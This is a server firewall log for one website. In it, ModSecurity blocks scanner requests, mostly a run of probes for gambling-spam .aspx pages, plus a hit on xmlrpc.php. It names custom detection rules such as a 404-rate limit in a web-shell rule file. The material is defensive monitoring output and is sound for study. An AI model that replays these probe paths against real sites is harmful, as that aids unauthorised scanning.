[Mon Feb 09 00:54:55.231406 2026] [:error] [pid 6662:tid 6688] [client 20.69.252.116:33039] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jsond.php"] [unique_id "aYi_39-oEK1ut16KiNIdggAAAlY"]
[Mon Feb 09 00:54:55.632632 2026] [:error] [pid 9482:tid 9558] [client 20.69.252.116:33028] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jsond.php"] [unique_id "aYi_38TkGH_puEFp5zPSIgAAA9M"]
[Mon Feb 09 00:54:56.038826 2026] [:error] [pid 9422:tid 9448] [client 20.69.252.116:33798] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jsond.php"] [unique_id "aYi_4K9DqDJC68qBbyxGEAAAAZc"]
[Mon Feb 09 02:24:13.233498 2026] [:error] [pid 6662:tid 6673] [client 81.206.32.142:33103] [client 81.206.32.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.206.32.142, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aYjUzd-oEK1ut16KiNIrTAAAAkc"]
[Mon Feb 09 04:38:55.684329 2026] [:error] [pid 47938:tid 48001] [client 95.217.109.26:17342] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aYj0X7VCzWE6fQJEkNIGzgAAAFY"]
[Mon Feb 09 04:38:58.463459 2026] [:error] [pid 18303:tid 18309] [client 95.217.109.26:30612] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aYj0YkY7TEaZkFrGG4m2XQAAAQQ"]
[Mon Feb 09 04:39:01.357204 2026] [:error] [pid 48044:tid 48058] [client 95.217.109.26:30626] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aYj0ZZvmvsMP5E03sZKyFwAAAMw"]
[Mon Feb 09 04:39:04.080827 2026] [:error] [pid 48044:tid 48052] [client 95.217.109.26:30630] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aYj0aJvmvsMP5E03sZKyIQAAAMY"]
[Mon Feb 09 04:39:06.821554 2026] [:error] [pid 47939:tid 48024] [client 95.217.109.26:30646] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aYj0atkpZei8M7cJ2z0pFQAAAJI"]
[Mon Feb 09 04:39:09.452951 2026] [:error] [pid 48044:tid 48047] [client 95.217.109.26:24870] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aYj0bZvmvsMP5E03sZKyLgAAAME"]
[Mon Feb 09 04:39:12.230518 2026] [:error] [pid 48044:tid 48064] [client 95.217.109.26:24882] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aYj0cJvmvsMP5E03sZKyNQAAANI"]
[Mon Feb 09 04:39:14.972399 2026] [:error] [pid 47938:tid 47980] [client 95.217.109.26:24892] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aYj0crVCzWE6fQJEkNIG7AAAAEE"]
[Mon Feb 09 04:39:17.726085 2026] [:error] [pid 47938:tid 47983] [client 95.217.109.26:53140] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aYj0dbVCzWE6fQJEkNIG8gAAAEQ"]
[Mon Feb 09 04:39:20.507365 2026] [:error] [pid 47937:tid 47948] [client 95.217.109.26:53154] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aYj0eM4Fd42MP2DhNrULcgAAAAI"]
[Mon Feb 09 04:39:23.393401 2026] [:error] [pid 47937:tid 47950] [client 95.217.109.26:53162] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aYj0e84Fd42MP2DhNrULdwAAAAQ"]
[Mon Feb 09 04:39:26.050704 2026] [:error] [pid 47937:tid 47967] [client 95.217.109.26:53172] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aYj0fs4Fd42MP2DhNrULggAAABU"]
[Mon Feb 09 04:39:28.654626 2026] [:error] [pid 48044:tid 48054] [client 95.217.109.26:35906] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aYj0gJvmvsMP5E03sZKyTwAAAMg"]
[Mon Feb 09 04:39:31.426662 2026] [:error] [pid 18303:tid 18320] [client 95.217.109.26:35914] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aYj0g0Y7TEaZkFrGG4m2dwAAAQ8"]
[Mon Feb 09 04:39:34.027217 2026] [:error] [pid 47938:tid 47984] [client 95.217.109.26:35930] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aYj0hrVCzWE6fQJEkNIHBgAAAEU"]
[Mon Feb 09 04:39:36.651444 2026] [:error] [pid 48044:tid 48060] [client 95.217.109.26:35936] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aYj0iJvmvsMP5E03sZKyWwAAAM4"]
[Mon Feb 09 04:39:39.339641 2026] [:error] [pid 48044:tid 48061] [client 95.217.109.26:65424] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aYj0i5vmvsMP5E03sZKyYgAAAM8"]
[Mon Feb 09 04:39:41.965838 2026] [:error] [pid 47938:tid 47998] [client 95.217.109.26:65438] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aYj0jbVCzWE6fQJEkNIHFwAAAFM"]
[Mon Feb 09 04:39:44.652049 2026] [:error] [pid 18303:tid 18305] [client 95.217.109.26:65450] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aYj0kEY7TEaZkFrGG4m2kgAAAQA"]
[Mon Feb 09 04:39:47.417488 2026] [:error] [pid 18303:tid 18313] [client 95.217.109.26:24852] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aYj0k0Y7TEaZkFrGG4m2mAAAAQg"]
[Mon Feb 09 04:39:50.195630 2026] [:error] [pid 47938:tid 47981] [client 95.217.109.26:24858] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aYj0lrVCzWE6fQJEkNIHIwAAAEI"]
[Mon Feb 09 04:40:24.756203 2026] [:error] [pid 48044:tid 48054] [client 95.217.109.26:2990] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aYj0uJvmvsMP5E03sZKytgAAAMg"]
[Mon Feb 09 04:40:27.601338 2026] [:error] [pid 47938:tid 47980] [client 95.217.109.26:9084] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aYj0u7VCzWE6fQJEkNIHUQAAAEE"]
[Mon Feb 09 04:40:30.248237 2026] [:error] [pid 18303:tid 18306] [client 95.217.109.26:9094] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aYj0vkY7TEaZkFrGG4m3AgAAAQE"]
[Mon Feb 09 04:40:33.016706 2026] [:error] [pid 18303:tid 18321] [client 95.217.109.26:9102] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aYj0wUY7TEaZkFrGG4m3BwAAARA"]
[Mon Feb 09 04:40:35.905152 2026] [:error] [pid 47937:tid 47951] [client 95.217.109.26:9112] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aYj0w84Fd42MP2DhNrULzgAAAAU"]
[Mon Feb 09 04:40:38.803338 2026] [:error] [pid 47939:tid 48024] [client 95.217.109.26:13158] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aYj0xtkpZei8M7cJ2z0pqwAAAJI"]
[Mon Feb 09 04:40:41.555479 2026] [:error] [pid 18303:tid 18314] [client 95.217.109.26:13164] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aYj0yUY7TEaZkFrGG4m3GwAAAQk"]
[Mon Feb 09 04:40:44.362709 2026] [:error] [pid 47937:tid 47953] [client 95.217.109.26:13178] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aYj0zM4Fd42MP2DhNrUL2wAAAAc"]
[Mon Feb 09 04:40:47.120625 2026] [:error] [pid 18303:tid 18305] [client 95.217.109.26:46650] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aYj0z0Y7TEaZkFrGG4m3HwAAAQA"]
[Mon Feb 09 04:40:49.864720 2026] [:error] [pid 47938:tid 47995] [client 95.217.109.26:46652] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aYj00bVCzWE6fQJEkNIHdgAAAFA"]
[Mon Feb 09 04:40:52.604882 2026] [:error] [pid 48044:tid 48059] [client 95.217.109.26:46658] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aYj01JvmvsMP5E03sZKy5gAAAM0"]
[Mon Feb 09 04:40:55.480908 2026] [:error] [pid 47937:tid 47949] [client 95.217.109.26:46666] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aYj0184Fd42MP2DhNrUL9wAAAAM"]
[Mon Feb 09 04:40:58.315239 2026] [:error] [pid 47939:tid 48020] [client 95.217.109.26:32696] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aYj02tkpZei8M7cJ2z0pzQAAAI4"]
[Mon Feb 09 04:41:01.168633 2026] [:error] [pid 47939:tid 48025] [client 95.217.109.26:32704] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aYj03dkpZei8M7cJ2z0p0gAAAJM"]
[Mon Feb 09 04:41:03.806039 2026] [:error] [pid 48044:tid 48061] [client 95.217.109.26:32710] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aYj035vmvsMP5E03sZKy_QAAAM8"]
[Mon Feb 09 04:41:06.444304 2026] [:error] [pid 47939:tid 48013] [client 95.217.109.26:32718] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aYj04tkpZei8M7cJ2z0p1QAAAIc"]
[Mon Feb 09 04:41:09.103071 2026] [:error] [pid 47937:tid 47959] [client 95.217.109.26:58600] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aYj05c4Fd42MP2DhNrUMDAAAAA0"]
[Mon Feb 09 04:41:12.024019 2026] [:error] [pid 47939:tid 48016] [client 95.217.109.26:58610] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aYj06NkpZei8M7cJ2z0p4AAAAIo"]
[Mon Feb 09 04:41:14.781702 2026] [:error] [pid 48044:tid 48058] [client 95.217.109.26:58624] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aYj06pvmvsMP5E03sZKzFAAAAMw"]
[Mon Feb 09 04:41:17.476251 2026] [:error] [pid 47937:tid 47957] [client 95.217.109.26:60334] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aYj07c4Fd42MP2DhNrUMHQAAAAs"]
[Mon Feb 09 04:41:20.380177 2026] [:error] [pid 47938:tid 47981] [client 95.217.109.26:60348] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aYj08LVCzWE6fQJEkNIHmAAAAEI"]
[Mon Feb 09 04:41:53.173833 2026] [:error] [pid 47937:tid 47967] [client 95.217.109.26:10418] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aYj1Ec4Fd42MP2DhNrUMRgAAABU"]
[Mon Feb 09 04:41:55.889656 2026] [:error] [pid 47937:tid 47962] [client 95.217.109.26:10432] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aYj1E84Fd42MP2DhNrUMSAAAABA"]
[Mon Feb 09 04:41:58.583191 2026] [:error] [pid 48044:tid 48056] [client 95.217.109.26:65158] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aYj1FpvmvsMP5E03sZKzSQAAAMo"]
[Mon Feb 09 04:42:01.411334 2026] [:error] [pid 48044:tid 48064] [client 95.217.109.26:65164] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aYj1GZvmvsMP5E03sZKzUgAAANI"]
[Mon Feb 09 04:42:04.038401 2026] [:error] [pid 47939:tid 48009] [client 95.217.109.26:65176] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aYj1HNkpZei8M7cJ2z0qJQAAAIM"]
[Mon Feb 09 04:42:06.833941 2026] [:error] [pid 18303:tid 18322] [client 95.217.109.26:65178] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aYj1HkY7TEaZkFrGG4m32QAAARE"]
[Mon Feb 09 04:42:09.720737 2026] [:error] [pid 47939:tid 48012] [client 95.217.109.26:40340] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aYj1IdkpZei8M7cJ2z0qOQAAAIY"]
[Mon Feb 09 04:42:12.528949 2026] [:error] [pid 47938:tid 47992] [client 95.217.109.26:40344] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aYj1JLVCzWE6fQJEkNIH2QAAAE0"]
